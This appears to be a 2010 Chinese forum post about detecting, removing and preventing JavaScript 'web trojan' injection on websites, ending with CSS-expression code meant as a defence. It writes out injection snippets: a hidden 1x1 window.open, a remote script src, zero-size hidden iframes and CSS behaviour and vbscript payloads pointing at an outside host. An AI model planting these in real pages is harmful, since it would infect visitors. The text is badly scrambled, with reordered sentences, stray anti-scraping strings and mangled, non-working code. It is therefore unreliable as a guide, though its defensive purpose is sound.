搜索
查看: 9780|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

/ r$ o! U7 \( D, Z8 o

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

5 Z' s/ N+ S2 F. Q* g) ^

IFRAME 和 JS 脚本挂马。

& Q; o# J* o; b& O

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

1 Q0 C' ?8 S- n9 h, c @9 `

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

& i7 C3 b( Q- H1 X- b$ f; o2 K

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

$ P" z7 t& g$ e3 m; w* |

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

K4 }( ^% _9 U% n1 H

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

6 }5 x7 o5 s% F* Y

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

/ W- |: Z; ]$ t6 Z# ~# f: X3 Y7 n! L

。一千多位会员的 ID

, S9 s: l- y! R: \1 g

2: 如何检测网页是否被挂马。

8 ]; E3 m( u" l5 ]

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

) B1 @/ L; J7 o2 Z4 s9 A

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

: j# k& `! }! y7 R. v

因素。
2 googl 检测。>

( i1 {3 t& t3 `7 C' t( j8 _5 z

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

9 S$ k) m5 @1 W+ X: N/ ^

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

. u; K2 d" R% F- c7 Y! a+ ~ C

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

) U: Z) x N, I5 z0 k

' Y6 c+ j7 m: B ]* _- k: g7 y

3: 如何清除网页木马。

1 a+ I8 G- f( q' a6 J

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

: W0 g. m$ z$ w2 X t# p/ ^, b0 I A9 a

入源文件把相关的网页挂马种类的可疑代码删除。

& B# B5 m7 \6 A# [+ W

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

2 z8 u" D1 G* L# t4 n' ^

悉。>

4 b, T" J6 J% y+ F

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

3 f0 D0 ]2 ]* v& h# r3 O \1 V* k+ t0 J

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

) o; ~: l8 l! ?6 @

2 保证你所使用的顺序及时的更新。

0 Y. y/ i/ a5 ^2 i

3 不要在前台网页上加注后台管理程序登陆页面的链接。

2 L7 U4 [ m- `5 J3 o

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

# P* Y, ^* w! u- [/ n" ]

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

- }9 j. u4 t% W! C

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

: M* d: y% D* Y5 v# `

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

# U/ l3 V j3 e0 H# T5 X# Z2 W8 Y

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

5 I2 h. w. D8 t5 G

3 A& p6 _( l" i8 a' x3 Z4 H- L" g

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

* M! S7 q. z3 ~+ F& j

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

: L$ s1 O, Y: E( S6 n

JS 挂马溯源

5 d7 C4 ~1 m/ E9 E. U$ u4 P* y

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

. I# q7 Y( n" k/ N- \ o

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

: }' }4 ?* w8 S0 \

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

/ K/ V& S! Y% L# S6 Y$ x. [& X

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

A5 [1 K- q7 R' a8 u

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

) O8 G: S5 m# {" L

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

8 h1 ^% B$ f- p' j' W+ g0 F

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

; ?8 p7 ?: Y. Q g

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

. c* A {8 n' I. h( r s3 o

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

7 g2 C6 q4 P9 R

脚本在工作中会有很大的协助。

8 U3 F) u4 ]! p4 m) C& |& J

挂马原理一点通

+ q+ w, c6 N5 }3 u2 G

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

6 J0 H' Q8 k8 b2 e

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

! `& ?' ], S$ @+ G, W

无从区分木马在何处。

! l& x/ m+ r4 h6 S, _

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

' U5 N- Y) _" H- r+ D$ }: r

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

; S$ r, P7 n6 O, b$ o/ l

容易蒙混过关,导致木马久杀不绝。

- a6 H: e7 M9 ]7 X& t3 _

JS 挂马攻防实录

) n* G" M! c9 E; l a9 |1 W# l

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

" S9 L) e* D( a' i3 P6 W6 N

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

5 U9 l) d R7 z( ^( i* W) ]

这种方法使用的关键代码如下:

! m' y# M: V. P- f0 `

"",  window.open "http://www.v404.cn/ 木马

5 Y% i, W- p4 O: n& W- v0 I

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

* r- h1 P. m2 [/ F& ~- E

. ~/ J& `* w4 V C5 R

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

8 |+ P4 ?4 {' z; m2 M3 l( m: | C

但是设置为 0 后,可能会出现恶意代码不运行的情况。

4 R+ J3 A2 k! H, A0 l# k3 w+ v

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

( `0 ` X( \) ?9 G) h2 u2 s* n

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

+ v. v) S! z2 R4 j

' J1 o" M) C3 ~' p7 A" x4 D

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

, P# P! M/ d$ D( Y" h) \

+ A2 k$ {7 M7 L6 ?

或者

$ \6 H1 Z {& ^- H2 l0 M

document.writ "<div style='display:none'>"

/ r' n8 j7 v3 g

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

/ l& @7 x% ~' A* v4 @2 t+ v7 n

document.writ "</div>"
 

. e. _; K7 S" E5 K% G; N S

7 D4 U# @; i1 A2 }

就成功地将木马挂到对方的网页中了

* h) F2 f5 C" {: E

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

6 A3 n* {, z0 f: f) n, S% M3 X; U# B* y

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

% g- A9 l& K3 m( d

或者:

& N+ ?) A9 f6 D" w# K* j

<ifram src="vbscript:[ 挂马脚本 ]">

/ X( J0 t6 l% R& X

' M$ l3 |5 P3 a5 |& h( w0 z3 y" O/ b


等等 …

$ c. r5 y. P& Z' }% X' M1 Z5 l

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

) W( S2 ]; d; t) N; F& \3 y! V

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

* m" E$ s5 A, P) C$ N$ d

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

% n5 e" o/ A. b O% U

;}

1 ]& G& X7 c! @9 F. T. U1 z- e# G- y

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

$ `2 O1 d; u/ F+ a& @

- x7 y* t) T! N, F0 s

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

/ P8 X5 P& {2 T) w2 z( L

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

7 X4 l, b% o2 _. }4 ^1 r. N

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

/ b) \3 e. o4 u" S4 ~% E

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

! |# M5 u: U% z' Z

<title> 让 JS 挂马中止的 CSS 代码 </title>

" |& S( t5 `, T; p% k

<styl type="text/css" id="shudoo">

7 C5 H* w& N& [

/*<![CDATA[*/

; U- r. h1 r3 A( i2 K" A( F, E; b

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

/ D+ u9 X' B8 H, s, K2 y# g4 C

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

8 z2 ^* y+ i4 c

/*]]>*/

2 r3 D+ ]$ }) n$ Z7 m0 O! E5 d

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表